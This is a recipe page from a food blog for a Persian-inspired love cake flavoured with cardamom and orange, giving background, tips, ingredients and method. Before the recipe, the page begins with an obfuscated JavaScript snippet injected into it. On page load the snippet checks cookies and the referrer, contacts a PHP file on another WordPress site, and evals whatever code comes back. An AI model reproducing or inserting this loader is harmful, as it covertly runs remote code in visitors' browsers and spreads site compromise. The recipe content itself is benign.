;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//thehomeharvest.com/wp-admin/css/colors/blue/blue.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
Bite My Kitchen by Gordana

Persian Inspired Love Cake

15 minutes


8 slices

A perfectly delicious and enchanting Persian Inspired Love Cake. If you are looking for a deliciously enchanting cake to make for a special occasion, then this iconic cake from Iran is it. Made with a wonderfully moist and buttery texture and aromatic flavours, topped with a glaze and pistachios, this cake is delicious in so many ways. Every bite of this cake is soft and light yet rich in flavour from the cardamom, orange, the sweet syrup, and a rich glaze topped with crunchy pistachios. This could be the perfect cake to make for a loved one, or the next Valentine’s Day dessert – beats the usual chocolate lava cake for sure!

About this recipe

Originating from Iranian folklore, the story goes that a long time ago, a Persian woman fell madly in love with a prince. But, to make him fall in love with her, she decided to bewitch him by creating a potion in the form of a magical cake. And so, it is said that this is how the Persian Love Cake came to be. Typically made with many fragrant ingredients of the region such as rose water, cardamom, other spices, semolina and nuts. The cake is suppose to be a fragrant, deliciously sweet, lightly spiced cake with a moist inside and a slightly crunchy outside. The cake is honestly soooo delicious. You are definitely not getting a dense spongy cake, but one that is buttery, moist, light to bite into. I also love that it is not only the sweetness that steals the show but the cardamom spice.

The recipe I am sharing with you is inspired by the Persian cake but with a slight adjustment – this love cake does not require rose water. I do not like rose water as flavouring in food, it makes me feel like I am eating perfume. If you love rose water, feel free to use it, although in a small quantity as it can be a really strong flavour. But I love cardamom, which is why this recipe must have it. Citrus is also important, so this recipe uses orange juice. Some versions use lemon juice, but for this recipe, I prefer fresh orange juice. 

Making the cake

This cake is such a stunning showstopper, yet an easy one-bowl kind of recipe. Using the bowl of a stand mixer or any large mixing bowl, cream the butter and sugar until light and fluffy. This can take 2-3 minutes on medium-high speed. Once the butter and sugar mixture is light and fluffy, add the eggs, one at a time, followed by the Greek Yogurt and juice of one orange. Next add the flour, almond flour, cardamom, baking powder, and salt. Beat until everything is just combined. Transfer the batter into a round cake tin and bake in the oven for 40-45 minutes. You will know the cake has baked once the sides have browned and the top turns a golden colour. If a knife inserted into the cake comes out clean, then the cake is done. Allow it to cool slightly. 

This cake is covered in a sweet syrup, this makes the sponge moist, the technique reminds me of making baklava. While the cake is cooling, prepare the suryp. Bring water to boil, then add the juice of one orange and honey. Cook on medium heat for 2-3 minutes. Using a sharp knife, poke holes throughout the top of the cake. Pour the sweet syrup evenly over the cake.

Finish the cake with a glaze. Combine powdered sugar and milk in a microwave safe bowl and whisk together. Microwave for 15-20 seconds to thin out mixture, then pour over cooled cake. Decorate the cake with chopped pistachios and rose petals if you have them.

Some tips

Don’t substitute almond meal – The almond meal is what helps to make this cake light. Do not use any other flour substitutes as the result will not be the same. Almond meal is a big part of the original recipe and replacing it may alter the recipe quite a bit.

The rose water – I personally do not like rose water. However, if you wish to use it, I recommend using 1 or 2 teaspoons at most. This can vary depending on the brand and quality of the product. But rosewater can become overwhelming quickly, so use it sparingly.

Don’t add sweet syrup on a cold cake – Cakes best absorb a sugary syrup when the cake is warm, giving them a softer, moist texture. Make sure to pour over the syrup while the cake is still warm and not once it is cold.

Don’t glaze a hot cake – Allow the cake to cool completely before adding the glaze. If making ahead, let the cake set in the fridge overnight and then add the glaze. Alternatively, chill the cake for 2 hours in the fridge and then pour over the glaze. If you add the glaze when the cake is warm, it will run off the cake and all over your serving dish.

Looking for more?

If you are looking for more ideas, try one of the recipes below:

Sour Cherry & Filo Pastry Pie

White Chocolate & Nutmeg Truffles

Walnut Meringue Crescents / Orasnice

From the ingredients that give this Persian Inspired Love Cake a light texture to the aromatic spices and taste of citrus, this cake is just heaven to eat! I love the story behind this cake, and I hope that you enjoy making it. Leave a comment and let me know how this recipe turns out for you. If you get a moment, please leave this recipe a rating. If you get a little stuck or have any questions, you can also reach me over on Instagram



Adjust Servings
For The Cake
200g unsalted butter, room temperature
150g caster sugar
3 whole eggs
100g Greek Yogurt
1 orange, juice of
200g almond meal
100g all purpose flour
1/4tsp salt
1tsp ground cardamom
1tsp baking powder
For The Syrup
100ml boiling water
1 orange, juice of
1tbsp honey
For The Glaze
180g powdered sugar
2tbsp milk
For The Decorations
30g pistachios
edible rose petals


The Cake
Preheat oven to 150°C. Line a 22cm (about 8.66 in) cake pan with parchment paper and set aside. In the bowl of a stand mixer, or a large mixing bowl using a hand mixer, cream the butter and sugar until light and fluffy. This may take 2-3 minutes. Once this reaches a fluffy consistency, add 3 eggs, one at a time. Add the Greek Yogurt and juice of one orange. Next add the flour, almond flour, cardamom, baking powder, and salt. Beat until everything is just combined.
Transfer the batter into a round cake tin and bake in the oven for 40-45 minutes. Bake for 40-45 minutes, or until cake is lightly brown on top. A knife inserted into the center of the cake should come out clean. Allow it to cool slightly.
Mark as complete
The Syrup
In a medium cooking pot, bring water to boil, add the juice of one orange and honey. Cook for 2-3 minutes on medium heat.
Once the cake has slightly cooled, using a sharp knife, poke holes throughout the top part of the cake. Pour the hot syrup over the cake evenly. Let the cake cool in the fridge.
Mark as complete
The Glaze
To make the glaze, combine powdered sugar and whole milk in a microwave-safe bowl and whisk to combine. Microwave for 10-15 seconds to thin out mixture, then pour over cooled cake. To decorate, add crushed pistachios and rose petals, if using. Serve and enjoy!
Mark as complete
Do not open the oven door regularly whilst it’s baking..
Allow the cake to rest for 5 minutes before pouring the sweet syrup.
Allow the cake to cool completely before pouring the glaze.
This cake will keep at room temperature for a couple of days, or longer if stored in the refrigerator.

Leave a Reply

Your email address will not be published. Required fields are marked *